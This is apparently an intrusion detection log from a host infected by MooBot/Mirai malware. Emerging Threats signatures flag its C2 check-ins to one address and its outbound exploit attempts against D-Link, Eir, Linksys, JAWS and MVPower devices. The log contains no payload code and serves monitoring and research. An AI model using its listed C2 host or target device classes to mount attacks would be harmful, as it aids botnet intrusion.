ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:25:11.127101
SID:	2030490
Source Port:	44694
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.83.72.16

Timestamp:	03/21/24-05:26:17.127537
SID:	2018132
Source Port:	38410
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:25:18.083433
SID:	2030490
Source Port:	45128
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT D-Link DSL-2750B - OS Command Injection - Source IP: 192.168.2.23 - Destination IP: 159.235.96.182

Timestamp:	03/21/24-05:26:15.438079
SID:	2025756
Source Port:	46652
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT D-Link DSL-2750B Command Injection Attempt (CVE-2016-20017) - Source IP: 192.168.2.23 - Destination IP: 54.197.65.32

Timestamp:	03/21/24-05:27:06.596641
SID:	2049119
Source Port:	48944
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:25:33.407552
SID:	2030490
Source Port:	45238
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.73.125.46

Timestamp:	03/21/24-05:26:01.874030
SID:	2030092
Source Port:	38416
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 115.2.119.193

Timestamp:	03/21/24-05:25:59.306918
SID:	2023548
Source Port:	39026
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 179.113.95.97

Timestamp:	03/21/24-05:26:15.665187
SID:	2023548
Source Port:	43556
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.65.210.0

Timestamp:	03/21/24-05:26:31.275447
SID:	2018132
Source Port:	51256
Destination Port:	55555
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 179.52.84.164

Timestamp:	03/21/24-05:27:11.651329
SID:	2023548
Source Port:	54636
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 188.120.197.16

Timestamp:	03/21/24-05:26:15.293052
SID:	2027153
Source Port:	34744
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:25:23.453902
SID:	2030490
Source Port:	45234
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 67.227.215.198

Timestamp:	03/21/24-05:26:52.260501
SID:	2030092
Source Port:	34586
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:25:24.785732
SID:	2030490
Source Port:	45236
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 186.138.198.149

Timestamp:	03/21/24-05:25:58.235285
SID:	2023548
Source Port:	43944
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 18.233.18.213

Timestamp:	03/21/24-05:26:45.262947
SID:	2025883
Source Port:	42074
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.65.200.184

Timestamp:	03/21/24-05:26:27.043680
SID:	2018132
Source Port:	48242
Destination Port:	55555
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:26:34.207509
SID:	2030490
Source Port:	47250
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 34.117.53.26

Timestamp:	03/21/24-05:26:38.267585
SID:	2018132
Source Port:	59132
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 115.7.229.68

Timestamp:	03/21/24-05:25:59.883245
SID:	2023548
Source Port:	42270
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 91.197.142.75

Timestamp:	03/21/24-05:26:15.069541
SID:	2030092
Source Port:	46814
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 5.22.89.147

Timestamp:	03/21/24-05:26:11.610686
SID:	2023548
Source Port:	33828
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 115.7.229.68

Timestamp:	03/21/24-05:25:59.603209
SID:	2023548
Source Port:	42260
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 69.164.56.22

Timestamp:	03/21/24-05:26:55.614580
SID:	2030092
Source Port:	37282
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT D-Link DSL-2750B - OS Command Injection - Source IP: 192.168.2.23 - Destination IP: 212.43.115.25

Timestamp:	03/21/24-05:27:07.390094
SID:	2025756
Source Port:	39500
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 32.216.48.33

Timestamp:	03/21/24-05:25:54.238090
SID:	2023548
Source Port:	56826
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 20.37.141.249

Timestamp:	03/21/24-05:26:29.416319
SID:	2030092
Source Port:	43868
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 174.112.142.104

Timestamp:	03/21/24-05:26:23.108643
SID:	2023548
Source Port:	60108
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.19.73.155

Timestamp:	03/21/24-05:26:55.674560
SID:	2025883
Source Port:	46284
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 159.65.59.130

Timestamp:	03/21/24-05:26:01.330188
SID:	2030092
Source Port:	44128
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 92.172.61.75

Timestamp:	03/21/24-05:25:54.521883
SID:	2023548
Source Port:	37694
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:25:34.739393
SID:	2030490
Source Port:	45368
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 209.237.187.170

Timestamp:	03/21/24-05:25:56.007962
SID:	2030092
Source Port:	44510
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 159.235.96.182

Timestamp:	03/21/24-05:26:15.438079
SID:	2835221
Source Port:	46652
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 2.19.109.114

Timestamp:	03/21/24-05:26:39.319998
SID:	2025883
Source Port:	58400
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 52.220.177.74

Timestamp:	03/21/24-05:25:51.698620
SID:	2025883
Source Port:	33814
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 59.22.40.124

Timestamp:	03/21/24-05:26:00.022911
SID:	2023548
Source Port:	49572
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.65.21.247

Timestamp:	03/21/24-05:25:48.204553
SID:	2018132
Source Port:	58818
Destination Port:	55555
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 104.21.217.182

Timestamp:	03/21/24-05:26:18.580595
SID:	2027153
Source Port:	36950
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.220.199.215

Timestamp:	03/21/24-05:25:42.857960
SID:	2025883
Source Port:	45072
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 212.129.39.194

Timestamp:	03/21/24-05:26:37.035712
SID:	2030092
Source Port:	53118
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:26:08.382430
SID:	2030490
Source Port:	46002
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 39.29.2.119

Timestamp:	03/21/24-05:26:58.537166
SID:	2023548
Source Port:	44184
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 212.24.19.138

Timestamp:	03/21/24-05:27:06.888800
SID:	2835221
Source Port:	57828
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 182.52.149.27

Timestamp:	03/21/24-05:26:07.216711
SID:	2023548
Source Port:	39344
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 182.52.149.27

Timestamp:	03/21/24-05:26:07.585673
SID:	2023548
Source Port:	39364
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.233.18.213

Timestamp:	03/21/24-05:26:45.262947
SID:	2030092
Source Port:	42074
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 32.216.48.33

Timestamp:	03/21/24-05:25:54.348603
SID:	2023548
Source Port:	56846
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 94.120.220.139

Timestamp:	03/21/24-05:26:14.876269
SID:	2023548
Source Port:	36886
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 115.20.204.85

Timestamp:	03/21/24-05:25:59.885912
SID:	2023548
Source Port:	35652
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:25:50.959263
SID:	2030490
Source Port:	45586
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.66.171.44

Timestamp:	03/21/24-05:25:59.752376
SID:	2018132
Source Port:	60562
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 91.218.188.247

Timestamp:	03/21/24-05:26:45.155069
SID:	2030092
Source Port:	38712
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 66.242.144.69

Timestamp:	03/21/24-05:26:09.578404
SID:	2027153
Source Port:	56108
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 81.157.31.24

Timestamp:	03/21/24-05:26:02.352317
SID:	2023548
Source Port:	35820
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.19.73.155

Timestamp:	03/21/24-05:26:55.674560
SID:	2030092
Source Port:	46284
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:27:12.417565
SID:	2030490
Source Port:	48906
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 89.213.40.119

Timestamp:	03/21/24-05:25:41.558869
SID:	2030092
Source Port:	54120
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 39.29.2.119

Timestamp:	03/21/24-05:26:58.821102
SID:	2023548
Source Port:	44186
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 164.90.233.195

Timestamp:	03/21/24-05:25:52.510973
SID:	2025883
Source Port:	56362
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT D-Link DSL-2750B - OS Command Injection - Source IP: 192.168.2.23 - Destination IP: 51.89.133.14

Timestamp:	03/21/24-05:27:02.312604
SID:	2025756
Source Port:	42752
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 212.129.39.194

Timestamp:	03/21/24-05:26:37.035712
SID:	2025883
Source Port:	53118
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 98.96.231.27

Timestamp:	03/21/24-05:26:56.035579
SID:	2018132
Source Port:	58114
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 115.2.119.193

Timestamp:	03/21/24-05:25:59.871881
SID:	2023548
Source Port:	39088
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.65.62.9

Timestamp:	03/21/24-05:26:18.663520
SID:	2018132
Source Port:	37890
Destination Port:	55555
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.65.74.110

Timestamp:	03/21/24-05:26:23.819418
SID:	2018132
Source Port:	60746
Destination Port:	55555
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 59.30.27.153

Timestamp:	03/21/24-05:26:15.770428
SID:	2023548
Source Port:	39802
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 137.184.158.188

Timestamp:	03/21/24-05:25:52.431289
SID:	2030092
Source Port:	37936
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.66.236.242

Timestamp:	03/21/24-05:25:41.451703
SID:	2030092
Source Port:	59048
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 172.65.40.27

Timestamp:	03/21/24-05:26:59.269798
SID:	2027153
Source Port:	54518
Destination Port:	55555
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 124.54.80.19

Timestamp:	03/21/24-05:25:58.447854
SID:	2025883
Source Port:	47142
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 179.113.95.97

Timestamp:	03/21/24-05:26:15.895227
SID:	2023548
Source Port:	43616
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 115.20.204.85

Timestamp:	03/21/24-05:25:59.588525
SID:	2023548
Source Port:	35634
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 203.173.133.194

Timestamp:	03/21/24-05:26:00.881270
SID:	2023548
Source Port:	53298
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 98.213.143.42

Timestamp:	03/21/24-05:26:02.079466
SID:	2018132
Source Port:	44236
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 212.154.221.41

Timestamp:	03/21/24-05:26:53.982692
SID:	2831299
Source Port:	39646
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.67.229.58

Timestamp:	03/21/24-05:25:53.195108
SID:	2018132
Source Port:	59718
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT D-Link DSL-2750B - OS Command Injection - Source IP: 192.168.2.23 - Destination IP: 35.174.120.235

Timestamp:	03/21/24-05:26:18.322398
SID:	2025756
Source Port:	33784
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 32.211.13.103

Timestamp:	03/21/24-05:26:15.339868
SID:	2023548
Source Port:	33280
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 59.30.27.153

Timestamp:	03/21/24-05:26:15.485462
SID:	2023548
Source Port:	39782
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 78.29.95.90

Timestamp:	03/21/24-05:26:00.407691
SID:	2023548
Source Port:	33216
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 172.65.200.184

Timestamp:	03/21/24-05:26:27.043680
SID:	2027153
Source Port:	48242
Destination Port:	55555
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:27:14.774046
SID:	2030490
Source Port:	48942
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 62.84.121.160

Timestamp:	03/21/24-05:26:12.100632
SID:	2025883
Source Port:	58592
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:25:38.179760
SID:	2030490
Source Port:	45372
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 8.26.12.90

Timestamp:	03/21/24-05:25:51.822440
SID:	2025883
Source Port:	45854
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 212.53.214.96

Timestamp:	03/21/24-05:26:08.421621
SID:	2025883
Source Port:	40210
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 115.3.111.124

Timestamp:	03/21/24-05:26:33.789900
SID:	2018132
Source Port:	52042
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 34.232.108.216

Timestamp:	03/21/24-05:26:35.849684
SID:	2025883
Source Port:	40380
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 181.88.240.54

Timestamp:	03/21/24-05:26:07.127341
SID:	2023548
Source Port:	59722
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 39.29.2.119

Timestamp:	03/21/24-05:26:56.296894
SID:	2023548
Source Port:	43888
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT D-Link DSL-2750B - OS Command Injection - Source IP: 192.168.2.23 - Destination IP: 212.12.25.31

Timestamp:	03/21/24-05:27:06.734022
SID:	2025756
Source Port:	32930
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:25:49.624593
SID:	2030490
Source Port:	45576
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 124.54.80.19

Timestamp:	03/21/24-05:25:58.447854
SID:	2030092
Source Port:	47142
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 70.20.37.97

Timestamp:	03/21/24-05:26:04.724775
SID:	2023548
Source Port:	59880
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.64.194.81

Timestamp:	03/21/24-05:26:33.999651
SID:	2018132
Source Port:	35782
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:25:56.345298
SID:	2030490
Source Port:	45670
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 172.65.83.203

Timestamp:	03/21/24-05:26:31.365125
SID:	2027153
Source Port:	50622
Destination Port:	55555
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 216.55.111.157

Timestamp:	03/21/24-05:27:02.995574
SID:	2027153
Source Port:	36744
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.196.216.128

Timestamp:	03/21/24-05:26:45.091850
SID:	2030092
Source Port:	56084
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:26:29.151497
SID:	2030490
Source Port:	47000
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 14.90.173.204

Timestamp:	03/21/24-05:26:03.309789
SID:	2023548
Source Port:	33086
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 212.179.180.9

Timestamp:	03/21/24-05:27:06.960289
SID:	2835221
Source Port:	50872
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 159.65.59.130

Timestamp:	03/21/24-05:26:01.330188
SID:	2025883
Source Port:	44128
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 121.133.255.176

Timestamp:	03/21/24-05:26:23.589489
SID:	2023548
Source Port:	53832
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT D-Link DSL-2750B - OS Command Injection - Source IP: 192.168.2.23 - Destination IP: 212.220.85.79

Timestamp:	03/21/24-05:27:09.751271
SID:	2025756
Source Port:	41492
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:25:40.537463
SID:	2030490
Source Port:	45434
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:26:36.879362
SID:	2030490
